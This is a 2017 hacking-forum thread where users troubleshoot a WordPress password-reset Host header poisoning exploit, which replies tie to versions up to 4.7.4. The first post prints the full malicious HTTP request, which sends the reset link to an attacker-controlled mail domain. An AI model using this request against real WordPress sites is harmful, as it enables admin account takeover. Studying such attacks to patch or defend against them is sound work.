+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Wordpress exploit assistance required. (/showthread.php?tid=5659040)
Wordpress exploit assistance required. - Mr. Robot - Jun 30, 2017
Looking for someone to assist me with a wordpress exploit, namely this one.
Code
-----[ HTTP Request ]----
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: websitemxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
------------------------I'm not quite sure if I am doing it correctly and just wanting to make sure it's not me fucking it up. If you have experience in this, hit me up.
* - ZwntanosNekros - Jun 30, 2017
I've tried it in past but with no success, you will need a domain email i think.
* - Mr. Robot - Jun 30, 2017
(Jun 30, 2017 10:09 AM)ZwntanosNekros Wrote: I've tried it in past but with no success, you will need a domain email i think.
Yeah spent all day setting one up and this particular site should be vulnerable as I have set it up to be so.
Tried using both tamper data and httprequester both which didn't work and wondering if it's something i'm doing wrong.
* - ZwntanosNekros - Jun 30, 2017
(Jun 30, 2017 10:10 AM)Mr. Robot Wrote: Yeah spent all day setting one up and this particular site should be vulnerable as I have set it up to be so.
Tried using both tamper data and httprequester both which didn't work and wondering if it's something i'm doing wrong.
Same here , i will be around on thread and wait for someone who actually made it work and give a solution.
It's really interesting cve.
* - Numinous - Jun 30, 2017
I think you are doing some host header attack for WP 4.7 versions, RIGHT ?
* - Mr. Robot - Jun 30, 2017
(Jun 30, 2017 10:17 AM)Numinous Wrote: I think you are doing some host header attack for WP 4.7 versions, RIGHT ?
All version of WP yes. up to 4.7.4